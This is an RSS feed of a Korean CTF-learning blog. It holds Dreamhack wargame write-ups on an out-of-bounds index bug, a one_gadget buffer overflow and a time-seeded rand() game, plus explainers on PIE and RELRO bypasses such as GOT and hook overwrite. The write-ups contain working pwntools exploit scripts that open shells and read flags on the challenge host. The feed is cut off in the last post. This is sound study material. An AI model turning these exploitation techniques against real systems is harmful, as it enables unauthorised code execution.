<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>H34vy_H4cking</title>
        <link>https://velog.io/</link>
        <description></description>
        <lastBuildDate>Mon, 24 Feb 2025 14:10:32 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>H34vy_H4cking</title>
            <url>https://velog.velcdn.com/images/1issang_h/profile/565ed4a8-3bb3-4ba1-8720-d374a58c596f/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. H34vy_H4cking. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/1issang_h" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[OOB(Out Of Bound) 취약점]]></title>
            <link>https://velog.io/@1issang_h/OOBOut-Of-Bound-%EC%B7%A8%EC%95%BD%EC%A0%90</link>
            <guid>https://velog.io/@1issang_h/OOBOut-Of-Bound-%EC%B7%A8%EC%95%BD%EC%A0%90</guid>
            <pubDate>Mon, 24 Feb 2025 14:10:32 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-oob란">📌 OOB란?</h2>
<blockquote>
<p>배열의 인덱스 주소가 배열의 범위 안에 있는지 검사하지 않는다는 점을 이용한 취약점 --&gt; 인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생</p>
</blockquote>
<h3 id="📢-poc-code">📢 PoC Code</h3>
<pre><code>// Name: oob.c
// Compile: gcc -o oob oob.c

#include &lt;stdio.h&gt;

int main() {
  int arr[10];

  printf(&quot;In Bound: \n&quot;);
  printf(&quot;arr: %p\n&quot;, arr);
  printf(&quot;arr[0]: %p\n\n&quot;, &amp;arr[0]);

  printf(&quot;Out of Bounds: \n&quot;);
  printf(&quot;arr[-1]: %p\n&quot;, &amp;arr[-1]);
  printf(&quot;arr[100]: %p\n&quot;, &amp;arr[100]);

  return 0;
}</code></pre><p>이 코드를 컴파일하여 실행하면, 인덱스를 -1과 100을 사용했음에도 불구하고, 아무런 경고 없이 여과없이 값을 출력함을 확인 할 수 있다.</p>
<hr>
<h2 id="📌-oob를-이용한-공격-기법">📌 OOB를 이용한 공격 기법</h2>
<p>OOB를 이용하면 임의의 주소에 값을 쓰는 것도 가능하다.</p>
<pre><code>// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;

  // Exploit OOB to read the secret
  puts(&quot;Who is present?&quot;);
  printf(&quot;(1-10)&gt; &quot;);
  scanf(&quot;%u&quot;, &amp;idx);

  stu[idx - 1].attending = 1;

  if (isAdmin) printf(&quot;Access granted.\n&quot;);
  return 0;
}</code></pre><p>이 코드에서 만약 우리가 <code>isAdmin</code>이라는 변수를 1로 만들 수 있다면 <code>Access granted</code>가 출력될 것이다. 따라서 <code>isAdmin</code> 주소를 알아낸 다음, 그 <code>stu</code> 배열의 인덱스를 정상 범위보다 초과하여 입력하면 <code>isAdmin</code>변수에 접근 할 수 있을 것이다.</p>
<hr>
<h2 id="📌-oob-관련-워게임-write-up">📌 OOB 관련 워게임 Write Up</h2>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

char name[16];

char *command[10] = { &quot;cat&quot;,
    &quot;ls&quot;,
    &quot;id&quot;,
    &quot;ps&quot;,
    &quot;file ./oob&quot; };
void alarm_handler()
{
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf(&quot;Admin name: &quot;);
    read(0, name, sizeof(name));
    printf(&quot;What do you want?: &quot;);

    scanf(&quot;%d&quot;, &amp;idx);

    system(command[idx]);

    return 0;
}</code></pre><p><code>command</code> 배열을 oob 시켜서 <code>/bin/sh</code>로 접근하게 만들면 된다.</p>
<pre><code>$ checksec out_of_bound
[*]
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)</code></pre><p>해당 코드는 PIE가 적용되어 있지 않기 때문에 데이터 영역의 변수들은 항상 정해진 주소에 저장된다.
이를 gdb를 이용해서 각각의 변수들의 주소를 찾고, 주소 값의 차이를 인덱스를 이용하여 접근하면 되는 문제일 것이다.
처음 <code>name</code>변수에 <code>/bin/sh</code>값을 입력하고 <code>command</code> 배열을 oob 시켜서 <code>name</code>변수에 접근하도록 하면 될 것 같다.
<img src="https://velog.velcdn.com/images/1issang_h/post/ce4ecc32-ce4e-4670-a614-39dd5f2431b2/image.png" alt="">
근데 익스플로잇이 안된다(?)
gdb를 붙여서 확인해 보니 아래와 같다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/73c92d83-01e8-42d5-8d6c-5442392dbe43/image.png" alt="">
<code>/bin/sh</code>이 아니라 <code>/bin</code>만 들어간다. 그래서 인덱스를 2 추가한 다음(8바이트를 더 오버한 다음), 원하는 주소, 즉 <code>name</code>변수의 주소를 넣으면 될 것 같다.</p>
<p>그러면 <code>command[19 + 2] = *(name +8) = 0x804a0ac</code>가 되므로 해당 값을 이용하면 되겠다.</p>
<p>따라서 최종적으로 작성한 익스플로잇 코드는 아래와 같다.</p>
<pre><code>from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;, 9327)
e = ELF(&#39;./out_of_bound&#39;)

payload = b&#39;/bin/sh\x00&#39; + p32(0x804a0ac)


p.recvuntil(&quot;name: &quot;)
p.send(payload)
p.recvuntil(&quot;want?: &quot;)
p.sendline(b&#39;21&#39;)

p.interactive()</code></pre><p>결과</p>
<pre><code>/home/li-sh/Desktop/dreamhack/out_of_bound/out_of_bound.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil(&quot;name: &quot;)
/home/li-sh/Desktop/dreamhack/out_of_bound/out_of_bound.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil(&quot;want?: &quot;)
[*] Switching to interactive mode
$ ㅣㄴ
$ ls
flag
out_of_bound
$ cat flag
DH{****************************}</code></pre><hr>
<p>보호기법이 걸린 Buffer Overflow 워게임 문제들 풀다가 이런 문제를 풀면 간단한 것 같지만, 아마 이건 쉬운 문제이지 않을까 싶다. 갈 길이 더 열심히 해야겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Write-Up] oneshot]]></title>
            <link>https://velog.io/@1issang_h/Write-Uponeshot</link>
            <guid>https://velog.io/@1issang_h/Write-Uponeshot</guid>
            <pubDate>Tue, 18 Feb 2025 14:10:19 GMT</pubDate>
            <description><![CDATA[<p>이번 문제는 ROP 가젯을 안만들고, one_gadget을 이용해서 익스플로잇 코드를 만드는 과정에 대해 정리하려고 작성했다.</p>
<hr>
<h2 id="📌-코드-분석">📌 코드 분석</h2>
<pre><code>// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf(&quot;stdout: %p\n&quot;, stdout);

    printf(&quot;MSG: &quot;);
    read(0, msg, 46);

    if(check &gt; 0) {
        exit(0);
    }

    printf(&quot;MSG: %s\n&quot;, msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}</code></pre><p>코드는 stdout의 주소를 받을 수 있고, <code>msg[16]</code>에 비해 46을 read하므로 버퍼 오버플로우가 발생하는 것을 알 수 있다.
일단 어떤 보호기법이 사용되었는지 확인하면 아래와 같다.</p>
<pre><code>$ checksec ./oneshot
[*] &#39;/home/li-sh/Desktop/dreamhack/one_shot/oneshot&#39;
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No</code></pre><p>NX, PIE, Partial RELRO가 적용되어있고, Canary는 없다.</p>
<hr>
<h2 id="📌-write-up">📌 Write Up</h2>
<p>일단 <code>stdout</code>의 주소를 알 수 있으므로, 우리는 이를 이용해서 lib의 base 주소를 구할 수 있다. 이 base 주소에 one_gadget의 offset을 더해서 RET에 입력하면 될 것 같다. 간단한 문제인 것 같다.
우선 one_gadget의 주소를 구해야 하는데 해당 명령어는 아래와 같이 확인 할 수 있다.</p>
<pre><code>$ one_gadget ./libc.so.6 
0x45216 execve(&quot;/bin/sh&quot;, rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve(&quot;/bin/sh&quot;, rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve(&quot;/bin/sh&quot;, rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve(&quot;/bin/sh&quot;, rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL</code></pre><p>해당 명령어는 ./ligbc.so.6에 대한 one_gadget의 offset 주소를 확인 할 수 있다.
이를 이용해서 해당 문제의 익스플로잇 코드를 짜면 아래와 같다.</p>
<pre><code>from pwn import *

# p = process(&#39;./oneshot&#39;)
p = remote(&#39;host1.dreamhack.games&#39;, 18958)
e = ELF(&#39;./oneshot&#39;)
libc = ELF(&#39;./libc.so.6&#39;)


def slog(name, addr): return success(&#39;: &#39;.join([name,hex(addr)]))

one_gadget = 0x45216

p.recvuntil(&quot;stdout: &quot;)
stdout = int(p.recvline()[:-1],16)
base = stdout - libc.symbols[&quot;_IO_2_1_stdout_&quot;]
one_gadget = base + one_gadget

# [1] Leak libc base
payload = b&#39;\x00&#39;* 32
payload += b&#39;\x00&#39;*8
payload += p64(one_gadget)

p.sendafter(&quot;MSG: &quot;, payload)
p.interactive()</code></pre><p>참고로 check&gt;0이 되면 종료가 되기 때문에 모든 값을 0으로 집어넣었다.
결과는 아래와 같다.</p>
<pre><code>[+] STDOUT: 0x7f329f668620
[+] base: 0x7f329f2a3000
[+] one_gadget: 0x7f329f2e8216
/home/li-sh/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
 MSG: 
$ cat flag
DH{***********************}</code></pre><hr>
<p>one_gadget은 ROP chain을 구성할 필요없어 매우 강력하지만, libc의 버전마다 다르게 존재하며, 제약 조건도 다 다르기 때문에, one_gadget을 맹신하지 말고, ROP chaining도 연습해놓아야 한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Write-Up] Rock Paper Scissors]]></title>
            <link>https://velog.io/@1issang_h/Write-Up-Rock-Paper-Scissors</link>
            <guid>https://velog.io/@1issang_h/Write-Up-Rock-Paper-Scissors</guid>
            <pubDate>Sun, 16 Feb 2025 14:42:05 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-코드-분석">📌 코드 분석</h2>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;time.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/stat.h&gt;

int main(void)
{
    char c, t[4] = &quot;RPS&quot;;
    int i, p, r;
    srand(time(NULL));
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    for(i = 1; i &lt;= 10; i++)
    {
        printf(&quot;Round %d of 10\n&quot;, i);
        printf(&quot;Put your hand out(R, P, S): &quot;);
        scanf(&quot;%c&quot;, &amp;c);
        while(getchar() != &#39;\n&#39;);
        switch(c)
        {
            case &#39;R&#39;:
                p = 0;
                break;
            case &#39;P&#39;:
                p = 1;
                break;
            case &#39;S&#39;:
                p = 2;
                break;
            default:
                printf(&quot;Nope!\n&quot;);
                return 0;
        }
        sleep(1);
        r = rand() % 3;
        printf(&quot;You: %c Computer: %c\n&quot;, t[p], t[r]);
        if((r - p + 1) % 3)
        {
            printf(&quot;Nope!\n&quot;);
            return 0;
        }
    }
    int fd = open(&quot;./flag&quot;, O_RDONLY);
    char flag[64] = { 0, };
    read(fd, flag, 64);
    printf(&quot;Flag is %s\n&quot;, flag);
    close(fd);
    return 0;
}</code></pre><p>내가 입력한 것과 srand()로 난수를 생성해서 나온 결과값으로 10번 연속 이겨야 하는 코드이다. Bruteforce가 가장 먼저 생각났지만, 1/3^10의 확률은 죽어도 안나올것이라는 생각이 먼저 들었다.</p>
<p><code>gdb</code>로 확인해 보고 싶었는데, 이렇게 나오더라.
<img src="https://velog.velcdn.com/images/1issang_h/post/451688c6-392a-4c66-9488-de9958485939/image.png" alt="">
분명 main 함수는 C 코드에서 있는데, 왜 main의 어셈블리 언어를 볼 수가 없는 것인가...?</p>
<p>그래서 어쩔수 없이 C 코드를 계속 분석해야 겠다.</p>
<hr>
<h2 id="📌-write-up-1">📌 Write Up 1</h2>
<p>일단 rand함수를 공략해야 실마리가 보일 것 같아서 계속 들여다 보니, rand함수 안의 값이 <code>Time(NULL)</code>로 되어 있으니 현재 시간을 기준으로 난수를 생성한다는 것을 알 수 있다. 그러면 &quot;만약 그 서버에서 사용하는 현재 시간을 가져 올 수 있다면, 똑같은 난수를 출력할 테니, 10번 다 이길 수 있는 방법이 생기지 않을까?&quot; 했다</p>
<p>그래서 파이썬에서 rand함수를 사용할 수 있는 지 검색해보니, 많은 사람들이 이렇게 생각했나보다.</p>
<pre><code># windows
from ctypes import *
libc=CDLL(&quot;msvcrt&quot;)
libc.srand(seed)
libc.rand()

# linux
from ctypes import *
libc=CDLL(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
libc.srand(seed)
libc.rand()</code></pre><p>서버에 연결한 다음 그 시간에 맞춰 시드를 생성하고, 난수를 생성하여 pwntools로 하면 되겠다.</p>
<p>이를 이용한 익스플로잇 코드는 아래와 같다.</p>
<pre><code>from pwn import *
from ctypes import *
import time

# p = process(&quot;./chall&quot;)
p = remote(&quot;host1.dreamhack.games&quot;, 24427)
libc = CDLL(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
libc.srand(libc.time(0))

def rockps(k):
    if k==0:
        return &quot;R&quot;
    elif k==1:
        return &quot;P&quot;
    elif k==2:
        return &quot;S&quot;

for i in range(10):
    com = rockps(libc.rand()%3)
    #print(f&quot;COM : {com}&quot;)

    if com == &quot;P&quot;:
        p.sendline(b&quot;S&quot;)
    elif com == &quot;S&quot;:
        p.sendline(b&quot;R&quot;)
    else:
        p.sendline(b&quot;P&quot;)
    time.sleep(1)

p.interactive()</code></pre><p>결과는 아래와 같다.</p>
<pre><code>$ python3 rock_paper_cissor.py
[+] Opening connection to host1.dreamhack.games on port 24427: Done
[*] Switching to interactive mode
Round 1 of 10
Put your hand out(R, P, S): You: P Computer: R
Round 2 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 3 of 10
Put your hand out(R, P, S): You: P Computer: R
Round 4 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 5 of 10
Put your hand out(R, P, S): You: S Computer: P
Round 6 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 7 of 10
Put your hand out(R, P, S): You: P Computer: R
Round 8 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 9 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 10 of 10
Put your hand out(R, P, S): You: R Computer: S
Flag is DH{***********************}
[*] Got EOF while reading in interactive</code></pre><hr>
<h2 id="📌-write-up-2">📌 Write Up 2</h2>
<p>다양성을 생각해서 다른 사람들 풀이도 봤는데, 이런 풀이도 있었다. 도대체 이런 생각은 어떻게 하는지...</p>
<pre><code>import subprocess

host = &quot;host1.dreamhack.games&quot;
port = 24427

for i in range(11):
    subprocess.Popen([
        &#39;gnome-terminal&#39;, &#39;--&#39;, &#39;bash&#39;, &#39;-c&#39;, f&#39;nc {host} {port}; exec bash&#39;
])
</code></pre><p>11개의 프로세스를 동시에 열어서 같은 시간에 만들어졌기 때문에 각 라운드에서 나올 값들은 동등하게 나온다. 직접 해보니까 11개의 터미널이 열리면서 노가다성이긴 하지만 나오긴 한다.</p>
<hr>
<p>rand함수의 특성을 파악 할 수 있고, 관련된 파이썬 라이브러리를 찾을 수 있는, 나중에 비슷한 문제가 나오면 풀 수 있는 좋은 문제였다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[PIE, RELRO]]></title>
            <link>https://velog.io/@1issang_h/PIE-RELRO</link>
            <guid>https://velog.io/@1issang_h/PIE-RELRO</guid>
            <pubDate>Sun, 16 Feb 2025 10:43:59 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-pic란">📌 PIC란?</h2>
<blockquote>
<p>PIC(Position-Independent Code) : 재배치가 가능한 코드
= 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않는 코드</p>
</blockquote>
<hr>
<h2 id="📌-pic-적용과-미적용-차이">📌 PIC 적용과 미적용 차이</h2>
<p>PIC를 적용하면 문자열 주소를 <code>RIP + 0xa2</code>와 같이 상대 주소로 참조한다. 그러나 PIC를 적용하지 않으면 <code>0x4005a1</code>과 같이 절대 주소로 문자열을 참조한다.</p>
<pre><code> push   rbp
 mov    rbp,rsp
-mov    rax,QWORD PTR [rip+0x200b3e]        # 0x601030 &lt;data&gt;
+mov    rax,QWORD PTR [rip+0x2009ab]        # 0x201010 &lt;data&gt;
 mov    rsi,rax
-mov    edi,0x4005a1
+lea    rdi,[rip+0xa2]        # 0x711
 mov    eax,0x0
-call   0x4003f0 &lt;printf@plt&gt;
+call   0x530 &lt;printf@plt&gt;
 mov    eax,0x0
 pop    rbp
 ret</code></pre><p><code>-</code> 부분이 Pic 없는 코드, <code>+</code> 부분이 Pic 있는 코드이다.</p>
<hr>
<h2 id="📌-pie란">📌 PIE란?</h2>
<blockquote>
<p>PIE(Position-Independent Executable) : 재배치가 가능한 실행 파일
= 무작위 주소에 매핑돼도 실행 가능한 실행 파일</p>
</blockquote>
<p>리눅스의 기본 실행 파일인 <code>/bin/ls</code>의 파일 헤더를 보면 아래와 같다.</p>
<pre><code>~$ readelf -h /bin/ls
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2&#39;s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x6aa0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          136232 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30</code></pre><p><code>Type</code>을 보면 <code>DYN(Position-Independent Excutable File)</code>이라고 적혀 있다. 이를 통해 PIE가 적용 되어 있음을 알 수 있다.</p>
<p>아니면 <code>checksec</code> 명령어를 이용하면 PIE가 적용되었는지 안되었는지 알 수 있다.</p>
<h3 id="📢-pie-vs-aslr">📢 PIE vs ASLR</h3>
<blockquote>
<p>PIE : 코드 영역에 무작위 주소에 매핑되는 기술 
ASLR : 스택, 힙, 공유 라이브러리 등이 무작위 주소에 매핑되는 기술</p>
</blockquote>
<hr>
<h2 id="📌-pie-우회-기술">📌 PIE 우회 기술</h2>
<p>ASLR처럼 코드 영역의 가젯을 사용하거나, 데이터 영역에 접근하려면 바이너리가 적재된 주소를 알아야 한다. 이 주소를 PIE 베이스, 즉 코드 베이스라고 부르는데, 이 주소를 알아야 코드 영역의 임의 주소를 읽고, 오프셋으로 주소를 계산해야 한다.</p>
<ul>
<li>Partial Overwrite : ASLR의 특성 상, 코드 영역의 주소도 ASLR과 똑같이 하위 12비트 값은 항상 동일하다. 따라서 일부분(하위 한 바이트)만 다르면 이 값을 덮어써서 원하는 코드를 실행할 수 있다.</li>
</ul>
<hr>
<h2 id="📌-relro란">📌 RELRO란?</h2>
<blockquote>
<p>RELRO(RELocation Read-Only) : 쓰기 권한이 불필요한 데이터 세그먼트 영역의 쓰기 권한을 제거하는 기술</p>
</blockquote>
<p>적용 범위에 따라 Full RELRO와 Partial RELRO로 나뉜다.</p>
<ul>
<li>Partial RELRO = 부분적으로 적용하는 기술</li>
<li>Full RELRO = 가장 넓은 영역에 적용하는 기술</li>
</ul>
<h3 id="📢-relro-권한-확인-방법">📢 RELRO 권한 확인 방법</h3>
<ol>
<li><p><code>gdb</code>로 실행파일을 디버깅하고 <code>vmmap</code>으로 메모리의 권한을 확인하면 된다.</p>
<pre><code>pwndbg&gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
          Start                End Perm     Size Offset File
       0x400000           0x401000 r-xp     1000      0 /home/li-sh/Desktop/dreamhack/hookoverwrite/hook
       0x600000           0x601000 r--p     1000      0 /home/li-sh/Desktop/dreamhack/hookoverwrite/hook
       0x601000           0x602000 rw-p     1000   1000 /home/li-sh/Desktop/dreamhack/hookoverwrite/hook
       0x602000           0x623000 rw-p    21000      0 [heap]
 0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
 0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
 0x7ffff7dbd000     0x7ffff7e15000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
 0x7ffff7e15000     0x7ffff7e16000 ---p     1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
 0x7ffff7e16000     0x7ffff7e1a000 r--p     4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
 0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
 0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000      0 [anon_7ffff7e1c]
 0x7ffff7fa8000     0x7ffff7fab000 rw-p     3000      0 [anon_7ffff7fa8]
 0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000      0 [anon_7ffff7fbb]
 0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
 0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000      0 [vdso]
 0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
 0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
 0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
 0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
 0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
 0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]</code></pre></li>
<li><p><code>/proc/self/maps</code>를 확인하면 메모리 맵을 확인 할 수 있다.</p>
</li>
<li><p><code>objdump</code> 명령어를 이용하면 각 세그먼트가 어느 메모리에 할당 되어있는지 확인 할 수 있다.</p>
<pre><code>$ objdump -h ./hook
</code></pre></li>
</ol>
<p>./hook:     file format elf64-x86-64</p>
<p>Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .interp       0000001c  0000000000400238  0000000000400238  00000238  2<strong>0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  0000000000400254  0000000000400254  00000254  2</strong>2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  0000000000400274  0000000000400274  00000274  2<strong>2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000068  0000000000400298  0000000000400298  00000298  2</strong>3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000198  0000000000400300  0000000000400300  00000300  2<strong>3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       000000b7  0000000000400498  0000000000400498  00000498  2</strong>0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  00000022  0000000000400550  0000000000400550  00000550  2<strong>1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000040  0000000000400578  0000000000400578  00000578  2</strong>3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rela.dyn     00000180  00000000004005b8  00000000004005b8  000005b8  2<strong>3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .init         0000001a  0000000000400738  0000000000400738  00000738  2</strong>2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 10 .plt          00000010  0000000000400760  0000000000400760  00000760  2<strong>4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt.got      00000070  0000000000400770  0000000000400770  00000770  2</strong>3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .text         000002d2  00000000004007e0  00000000004007e0  000007e0  2<strong>4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .fini         00000009  0000000000400ab4  0000000000400ab4  00000ab4  2</strong>2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .rodata       00000033  0000000000400ac0  0000000000400ac0  00000ac0  2<strong>2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .eh_frame_hdr 00000044  0000000000400af4  0000000000400af4  00000af4  2</strong>2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000134  0000000000400b38  0000000000400b38  00000b38  2<strong>3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .init_array   00000008  0000000000600da0  0000000000600da0  00000da0  2</strong>3
                  CONTENTS, ALLOC, LOAD, DATA
 18 .fini_array   00000008  0000000000600da8  0000000000600da8  00000da8  2<strong>3
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000008  0000000000600db0  0000000000600db0  00000db0  2</strong>3
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000001c0  0000000000600db8  0000000000600db8  00000db8  2<strong>3
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000088  0000000000600f78  0000000000600f78  00000f78  2</strong>3
                  CONTENTS, ALLOC, LOAD, DATA
 22 .data         00000010  0000000000601000  0000000000601000  00001000  2<strong>3
                  CONTENTS, ALLOC, LOAD, DATA
 23 .bss          00000020  0000000000601010  0000000000601010  00001010  2</strong>4
                  ALLOC
 24 .comment      00000035  0000000000000000  0000000000000000  00001010  2**0
                  CONTENTS, READONLY</p>
<pre><code>
이 때 Partial RELRO는 `.got`와 `.got.plt`로 존재하는데 각각의 차이점은 아래와 같다.
- `.got`는 실행되는 시점에 Lazy Binding되는 변수가 위치하는 곳이다.
- `.got.plt`는 실행 중에 Lazy Binding되는 변수가 위치하는 곳이다.

---

## 📌 RELRO 우회 기법
1. Partial RELRO일 때
`.init_array`와 `.fini_array`에 대한 권한이 제거되어 있지만, `.got.plt` 영역에 대한 쓰기 권한이 존재하므로 GOT Overwrite 공격을 활용할 수 있다.
2. Full RELRO일 때
`.init_array`,`.fini_array`,`.got` 영역 모두 쓰기 권한이 제거되어 있기 때문에 `hook` 함수를 이용한다. `__malloc_hook`과 `__free_hook`이 대표적인 hook 함수로 이러한 hook을 사용하여 공격하는 기법을 `Hook Overwrite`라고 한다.

---

추가적으로 확인한 사항
`Hook Overwrite` 공격 기법은 hook 변수들은 멀티스레드 환경에서의 안전성 문제와 보안 취약점으로 인해 glibc 2.32 버전에서 사용이 권장되지 않게 되었으며, glibc 2.34 버전(2021년 8월 릴리스)부터는 완전히 제거되었다고 한다.

이러한 변화로 인해, 기존에 malloc hook을 사용하던 디버깅 기능들은 별도의 라이브러리인 `libc_malloc_debug.so.0`로 분리되었습니다. 따라서 glibc 2.34 버전 이후부터는 이 라이브러리를 명시적으로 로드하여야만 이전의 디버깅 기능을 사용할 수 있다고 한다.</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[[Write up] basic_rop_x86]]></title>
            <link>https://velog.io/@1issang_h/Write-up-basicropx86</link>
            <guid>https://velog.io/@1issang_h/Write-up-basicropx86</guid>
            <pubDate>Wed, 12 Feb 2025 14:30:15 GMT</pubDate>
            <description><![CDATA[<p>이번 문제는 rop 문제인데 x64는 이전 실습문제인 rop 문제와 동일한 알고리즘으로 페이로드를 짜면, 익스플로잇이 되기 때문에 따로 Write up을 진행하지 않았다. 그러나 해당 문제는 함수 호출 규약이 x64와는 다르기 때문에 Write up을 진행해보려고 한다.</p>
<hr>
<h2 id="📌-write-up-1">📌 Write up 1</h2>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;


void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

